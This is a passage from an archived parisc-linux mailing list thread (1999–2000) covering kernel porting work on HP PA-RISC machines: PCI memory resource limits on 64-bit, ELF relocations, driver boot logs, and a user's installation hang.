struct resource iomem_resource = { "PCI mem", 0x00000000, 0xffffffff, IORESOURCE_MEM };

'end' needs to be rather higher than 0xffffffff on 64 bit.  I changed it to

struct resource iomem_resource = { "PCI mem", 0x00000000, ~0, IORESOURCE_MEM };

and it works.  I havn't committed that 'fix' though.

Richard


From - Thu Nov 08 21:13:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel updates.
Date: 18 Apr 1999 00:28:55 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <r2k8vamloo.fsf@happy.cygnus.com>
References: <Pine.LNX.3.96.990418023812.1235D-100000@devserv.devel.redhat.com>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (generated by tm-edit 7.108)
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1416619242 5407 80.91.229.3 (22 Nov 2014 01:20:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:42 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@redhat.com>
Original-X-From: drepper@cygnus.com  Sun Apr 18 03:29:21 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id DAA16398
	for <parisc-linux@sod.res.cmu.edu>; Sun, 18 Apr 1999 03:29:21 -0400
Original-Received: (qmail 2976 invoked by uid 15267); 18 Apr 1999 07:28:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2969 invoked from network); 18 Apr 1999 07:28:16 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 18 Apr 1999 07:28:16 -0000
Original-Received: from happy.cygnus.com (happy.cygnus.com [205.180.230.206])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id AAA16580;
	Sun, 18 Apr 1999 00:29:18 -0700 (PDT)
Original-Received: (drepper@localhost) by happy.cygnus.com (8.8.7/8.6.4) id AAA31935; Sun, 18 Apr 1999 00:28:55 -0700
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
In-Reply-To: Alex deVries's message of "Sun, 18 Apr 1999 02:45:03 -0400 (EDT)"
Original-Lines: 23
X-Mailer: Gnus v5.5/XEmacs 20.4 - "Emerald"
Xref: news.gmane.org gmane.linux.ports.parisc:8298

Alex deVries <adevries@redhat.com> writes:

> And the answer to this is:  
> - the only docs we have for 32 bit ELF from HP are quite old
> - if they're incomplete, it's up to us fill in the information
> - this is a good forum to ask directed questions on this topic

The question is: "is the documentation incomplete or wrong?".

My only comparison is elf.h header in HP/UX 11.  And this header
introduces completely different definitions for the same names.
Something which of course should be avoided under all circumstances.

I thin the first question to be answered is: which relocations must be
supported.  The answer has two parts: the minimal set and the complete
set.

I don't know the HPPA specifics, I only know ELF in general.

-- 
---------------.      drepper at gnu.org  ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Cygnus Solutions `--' drepper at cygnus.com   `------------------------


From - Thu Nov 08 21:13:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 3000 - 922LX ??
Date: Thu, 2 Nov 2000 11:57:53 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <20001102115753.A3632@parcelfarce.linux.theplanet.co.uk>
References: <3A014CC5.CFBC7AD4@fl.priv.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619242 5411 80.91.229.3 (22 Nov 2014 01:20:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:42 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Friedrich Lobenstock <fl@fl.priv.at>
Original-X-From: willy@www.linux.org.uk  Thu Nov  2 04:56:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA01714
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Nov 2000 04:56:18 -0700
Original-Received: (qmail 28512 invoked by uid 15267); 2 Nov 2000 11:58:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28491 invoked from network); 2 Nov 2000 11:58:01 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 2 Nov 2000 11:58:01 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13rJ0D-0000zx-00; Thu, 02 Nov 2000 11:57:53 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <3A014CC5.CFBC7AD4@fl.priv.at>; from fl@fl.priv.at on Thu, Nov 02, 2000 at 12:15:17PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8299

On Thu, Nov 02, 2000 at 12:15:17PM +0100, Friedrich Lobenstock wrote:
> Hi!
> 
> How about support for a HP3000-922LX? I think this should be a PA-RISC
> machine.

According to the docs:
http://www.thepuffingroup.com/parisc/hp9000_models.html

the 922 is the same physical machine as the 822.  As such, it's too old
for it to be worth supporting.  the official statement is...

The earliest PA-RISC servers have proprietary HP devices attached to
proprietary HP bus architectures. It is unlikely that documentation
on these busses and devices will ever become available, since so few
people are interested in spending any effort finding and releasing the
docs. Machines in this category are the E, F, G, H, I class (aka Nova)
and T500 series (Emerald) machines as well as some earlier, unlettered
servers.

I should perhaps update this to reflect the particular model numbers.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a500.out16
Date: Thu, 2 Nov 2000 12:07:36 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <20001102120736.K32715@linuxcare.com>
References: <200011020821.AAA28301@milano.cup.hp.com> <20001102104306.F32715@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619242 5415 80.91.229.3 (22 Nov 2014 01:20:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:42 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: rhirst@linuxcare.com  Thu Nov  2 05:06:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA02224
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Nov 2000 05:06:59 -0700
Original-Received: (qmail 4273 invoked by uid 15267); 2 Nov 2000 12:08:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4247 invoked from network); 2 Nov 2000 12:08:41 -0000
Original-Received: from sleepie.demon.co.uk (HELO rhirst.linuxcare.com) (194.222.23.208)
  by mailserv2.iuinc.com with SMTP; 2 Nov 2000 12:08:41 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 9E8CEB005; Thu,  2 Nov 2000 12:07:36 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20001102104306.F32715@linuxcare.com>; from rhirst@linuxcare.com on Thu, Nov 02, 2000 at 10:43:06AM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:8300

On Thu, Nov 02, 2000 at 10:43:06AM +0000, Richard Hirst wrote:
> Linux Tulip driver version 0.9.8 (July 13, 2000)
> tulip: MMIO resource (0x400@0xfffffffff8020000) unavailable, aborting
> PCI: Setting latency timer of device 00:00.0 to 64
> eth0: Digital DS21143 Tulip rev 65 at 0x0, 00:30:6E:03:79:A0, IRQ 128.
> eth0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
> Sending BOOTP requests.... OK
> IP-Config: Got BOOTP answer from 10.160.240.111, my address is 10.160.240.117
> Switching from PDC console
> 
> Wheeee!  Nice work Grant!

And if you stop it from trying to switch from pdc to ttyS0 console:

Linux Tulip driver version 0.9.8 (July 13, 2000)
PCI: Setting latency timer of device 00:00.0 to 64
eth0: Digital DS21143 Tulip rev 65 at 0x0, 00:30:6E:03:79:A0, IRQ 128.
eth0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
Sending BOOTP requests.... OK
IP-Config: Got BOOTP answer from 10.160.240.111, my address is 10.160.240.117
kmem_create: Forcing size word alignment - nfs_fh
Looking up port of RPC 100003/2 on 10.160.240.111
Looking up port of RPC 100005/2 on 10.160.240.111
VFS: Mounted root (nfs filesystem) readonly.
Warning: unable to open an initial console.
Kernel panic: Attempted to kill init!

Richard


From - Thu Nov 08 21:13:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a500.out16
Date: Thu, 2 Nov 2000 12:01:58 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20001102120158.B3632@parcelfarce.linux.theplanet.co.uk>
References: <200011020821.AAA28301@milano.cup.hp.com> <20001102104306.F32715@linuxcare.com> <20001102113047.J32715@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619243 5419 80.91.229.3 (22 Nov 2014 01:20:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:43 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: willy@www.linux.org.uk  Thu Nov  2 05:27:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA02672
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Nov 2000 05:26:59 -0700
Original-Received: (qmail 20527 invoked by uid 15267); 2 Nov 2000 12:28:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20516 invoked from network); 2 Nov 2000 12:28:42 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 2 Nov 2000 12:28:42 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13rJ4A-00016G-00; Thu, 02 Nov 2000 12:01:58 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20001102113047.J32715@linuxcare.com>; from rhirst@linuxcare.com on Thu, Nov 02, 2000 at 11:30:47AM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8301

On Thu, Nov 02, 2000 at 11:30:47AM +0000, Richard Hirst wrote:
> > Note sym53c8xx.c doesn't seem to bother with request_mem_region(), so
> > maybe request_mem_region() is just broken.
> 
> It is broken because of the following line in kernel/resource.c:
> 
> struct resource iomem_resource = { "PCI mem", 0x00000000, 0xffffffff, IORESOURCE_MEM };
> 
> 'end' needs to be rather higher than 0xffffffff on 64 bit.  I changed it to
> 
> struct resource iomem_resource = { "PCI mem", 0x00000000, ~0, IORESOURCE_MEM };
> 
> and it works.  I havn't committed that 'fix' though.

Probably just as well... the pci_consistent interfaces were designed
partly to stop 32-bit PCI cards having to do dual-address-cycle on
machines with an IOMMU.  if you can, this card should get mapped below
the 32-bit boundary.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a500.out16
Date: Thu, 02 Nov 2000 08:12:47 -0800
Lines: 38
Approved: news@gmane.org
Message-ID: <200011021612.IAA28541@milano.cup.hp.com>
References: <20001102104833.G32715@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619243 5422 80.91.229.3 (22 Nov 2014 01:20:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:43 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: grundler@cup.hp.com  Thu Nov  2 09:06:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA04107
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Nov 2000 09:06:10 -0700
Original-Received: (qmail 4843 invoked by uid 15267); 2 Nov 2000 16:07:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4835 invoked from network); 2 Nov 2000 16:07:53 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 2 Nov 2000 16:07:53 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 449812436; Thu,  2 Nov 2000 08:07:52 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id IAA28541;
	Thu, 2 Nov 2000 08:12:48 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 02 Nov 2000 10:48:33 PST."
             <20001102104833.G32715@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8302


This is why I do NOT like our current scheme of using host
physical addresses to access I/O space.

Richard Hirst wrote:
...
> I'd guess that the NCR registers are being cached:
> 
> 
> static int __init ncr_regtest (struct ncb* np)
> {
>         register volatile u_int32 data;
>         /*
>         **      ncr registers may NOT be cached.
>         **      write 0xffffffff to a read only register area,
>         **      and try to read it back.
>         */
>         data = 0xffffffff;
>         OUTL_OFF(offsetof(struct ncr_reg, nc_dstat), data);
>         data = INL_OFF(offsetof(struct ncr_reg, nc_dstat));

If INL_OFF and OUTL_OFF are broken, they will very likely point
to something in memory - page zero. And happily scribble over
it gsc_write(xxx).

We don't cache I/O space. Never.
Something is definitely broken on this code path.

I'll look at this once I find out what I broke on the j5k/c3k boot path
in lba_pci.c. jsm already restored the previous version of lba_pci.c
so folks can still boot 32-bit on c3k/j5k.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new method for 64-bit parisc tree
Date: Thu, 02 Nov 2000 09:20:24 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <m13rN6H-001Vp3C@chalet>
References: <Pine.LNX.4.21.0011021825100.26717-100000@front.linuxcare.com.au>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619243 5425 80.91.229.3 (22 Nov 2014 01:20:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:43 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: bame@bame.riverrock.org  Thu Nov  2 09:21:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA04626
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Nov 2000 09:21:55 -0700
Original-Received: (qmail 25813 invoked by uid 15267); 2 Nov 2000 16:23:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25757 invoked from network); 2 Nov 2000 16:23:36 -0000
Original-Received: from unknown (HELO chalet) (199.254.238.240)
  by mailserv2.iuinc.com with SMTP; 2 Nov 2000 16:23:36 -0000
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp (ident bame using rfc1413)
	id <m13rN6H-001Vp3C@chalet> (Debian Smail3.2.0.102)
	for <parisc-linux@thepuffingroup.com>; Thu, 2 Nov 2000 09:20:25 -0700 (MST) 
Errors-To: bame@riverrock.org
In-reply-to: Your message of "Thu, 02 Nov 2000 19:51:19 +1100."
             <Pine.LNX.4.21.0011021825100.26717-100000@front.linuxcare.com.au>
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:8303


I want to hear concerns because without serious ones I'm going to
make this change next week...

= Instead, can't you simply play tricks with -I, and add a symbolic link
= asm -> ../asm-parisc in asm-parisc64)?  The idea being to end up with
= an include path looking like
= "-I $(TOPDIR)/include -I $(TOPDIR)/include/asm"
= 
= That way, asm/foo.h is found by the first -I if we have asm-parisc64/foo.h,
= and is found by the second if asm-parisc/foo.h exists but not
= asm-parisc64/foo.h.  Hmm, you might also need -I-

That would function fine for header files, but not for source files
where something like VPATH might work, but is not available to us.  It's
worth noting that both -I and VPATH tricks mean if you have an error
in or need to change a file, you may have to examine two
directories to figure out where it really lives.  The symbolic link
scheme solves some of that problem.

	-P


From - Thu Nov 08 21:13:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dkennedy <dkennedy@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot Problems with 755
Date: Thu, 2 Nov 2000 12:30:32 -0800 (PST)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0011021229340.14121-100000@localhost.localdomain>
References: <20001030230728.B9539@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619243 5427 80.91.229.3 (22 Nov 2014 01:20:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:43 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dkennedy@linuxcare.com  Thu Nov  2 09:28:51 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA04971
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Nov 2000 09:28:50 -0700
Original-Received: (qmail 2808 invoked by uid 15267); 2 Nov 2000 16:30:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2793 invoked from network); 2 Nov 2000 16:30:33 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost.linuxcare.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 2 Nov 2000 16:30:33 -0000
Original-Received: by localhost.linuxcare.com (Postfix, from userid 501)
	id 1B89423D; Thu,  2 Nov 2000 12:30:32 -0800 (PST)
Original-Received: from localhost (localhost [127.0.0.1])
	by localhost.linuxcare.com (Postfix) with ESMTP id 18686AB52
	for <parisc-linux@thepuffingroup.com>; Thu,  2 Nov 2000 12:30:32 -0800 (PST)
X-Sender: dkennedy@localhost.localdomain
In-Reply-To: <20001030230728.B9539@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8304

On Mon, 30 Oct 2000, Matthew Wilcox wrote:

> This isn't tagged correctly in the hwdb.  Could someone inside linuxcare
> please fix this?  It should be supported by the Apricot driver.

I have updated the hwdb to include the Coral II Core Lan Apricot driver.

-- 
David Kennedy, Technical Account Manager, Linuxcare, Inc.
613.562.9594 tel, 613.562.9304 fax
dkennedy@linuxcare.com, http://www.linuxcare.com/
Linuxcare.  Support for the revolution.



From - Thu Nov 08 21:13:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a500.out16
Date: Thu, 02 Nov 2000 08:42:06 -0800
Lines: 52
Approved: news@gmane.org
Message-ID: <200011021642.IAA28616@milano.cup.hp.com>
References: <20001102120158.B3632@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619244 5432 80.91.229.3 (22 Nov 2014 01:20:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:44 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>, parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: grundler@cup.hp.com  Thu Nov  2 09:35:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA05336
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Nov 2000 09:35:30 -0700
Original-Received: (qmail 12161 invoked by uid 15267); 2 Nov 2000 16:37:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12154 invoked from network); 2 Nov 2000 16:37:13 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 2 Nov 2000 16:37:13 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 63C861D36; Thu,  2 Nov 2000 08:37:11 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id IAA28616;
	Thu, 2 Nov 2000 08:42:07 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 02 Nov 2000 12:01:58 PST."
             <20001102120158.B3632@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:8305

Matthew Wilcox wrote:
> On Thu, Nov 02, 2000 at 11:30:47AM +0000, Richard Hirst wrote:
> > > Note sym53c8xx.c doesn't seem to bother with request_mem_region(), so
> > > maybe request_mem_region() is just broken.
> > 
> > It is broken because of the following line in kernel/resource.c:
> > 
> > struct resource iomem_resource = { "PCI mem", 0x00000000, 0xffffffff, IORES
>   OURCE_MEM };
> > 
> > 'end' needs to be rather higher than 0xffffffff on 64 bit.  I changed it to
> > 
> > struct resource iomem_resource = { "PCI mem", 0x00000000, ~0, IORESOURCE_ME
>   M };
> > 
> > and it works.  I havn't committed that 'fix' though.
> 
> Probably just as well... the pci_consistent interfaces were designed
> partly to stop 32-bit PCI cards having to do dual-address-cycle on
> machines with an IOMMU.  if you can, this card should get mapped below
> the 32-bit boundary.

Mathew,
That's not the whole story. The value (0xfffffffff8020000) seen by
the PCI driver *is* a 32-bit PCI address - dual address cycles are
not needed. pcibios_update_resource() mangles the address the PCI
device driver uses to fit the BAR it's supposed to get written to.
See arch/parisc/kernel/pci.c and I think you'll understand.

I think you are confusing DMA with PIO (register accesses). The
address above is only used to PIO to access registers and has
nothing to do with DMA (or I/O MMUs).

And PCI device's that can do dual address cycle *should* in
order to *avoid* the I/O MMU. The I/O MMU introduces a latency
in the DMA path which ideally would be avoided. Of course, there
are lots of issues with making that actually work...but it can work.

I haven't looked at the whole issue of 64-bit BAR's yet.
Mostly because I haven't had to. 64-bit BAR's work just fine
when the upper 32-bits are zero'd. :^)   But also because the 896 chip
(older rev's at least) has 64-bit BARs and it didn't work during
N-class bringup in Feb 1999. Currently shipping revs may work.
A hack needs to go into pci_quirks.c to support 896 64-bit BARs.

thanks for the ideas though,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q? "Alexander=20Sch=F6ck" ?= <headcrusher@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Help!?
Date: Thu, 2 Nov 2000 19:58:51 +0100
Organization: http://freemail.web.de/
Lines: 17
Approved: news@gmane.org
Message-ID: <200011021858.TAA28230@mailgate3.cinetic.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619244 5438 80.91.229.3 (22 Nov 2014 01:20:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:44 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: headcrusher@web.de  Thu Nov  2 11:57:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA06380
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Nov 2000 11:57:15 -0700
Original-Received: (qmail 26547 invoked by uid 15267); 2 Nov 2000 18:58:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26518 invoked from network); 2 Nov 2000 18:58:54 -0000
Original-Received: from mailgate3.cinetic.de (root@212.227.116.80)
  by mailserv2.iuinc.com with SMTP; 2 Nov 2000 18:58:54 -0000
Original-Received: from cinetic.de (popeye.cinetic.de [194.122.194.100])
	by mailgate3.cinetic.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id TAA28230
	for <parisc-linux@thepuffingroup.com>; Thu, 2 Nov 2000 19:58:51 +0100
Precedence: fm-user
Xref: news.gmane.org gmane.linux.ports.parisc:8306

Hallo Puffingroup-Team,

I have a very important question about the installation of the
linux for PARisc.
I hope you can help me!
OK, i have a 725/100 Unix Workstation, i tried to install the PARisc-linux
on this machine. 
The CD is booting from this machine, but in the middle of the booting phase
the system hang on following line: "request_irq(259, c01ec76c, 0x0, asp, c3rcd080)" - So, what's wrong?
How can I go on with the installation?

Bye,
Alexander S.
_______________________________________________________________________
1.000.000 DM gewinnen - kostenlos tippen - http://millionenklick.web.de
IhrName@web.de, 8MB Speicher, Verschluesselung - http://freemail.web.de


From - Thu Nov 08 21:13:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help!?
Date: Fri, 3 Nov 2000 00:08:06 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20001103000806.A15106@parcelfarce.linux.theplanet.co.uk>
References: <200011021858.TAA28230@mailgate3.cinetic.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619244 5440 80.91.229.3 (22 Nov 2014 01:20:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:44 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: =?iso-8859-1?Q?Alexander_Sch=F6ck?= <headcrusher@web.de>
Original-X-From: willy@www.linux.org.uk  Thu Nov  2 17:06:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA08491
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Nov 2000 17:06:24 -0700
Original-Received: (qmail 2824 invoked by uid 15267); 3 Nov 2000 00:08:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2813 invoked from network); 3 Nov 2000 00:08:07 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 3 Nov 2000 00:08:07 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
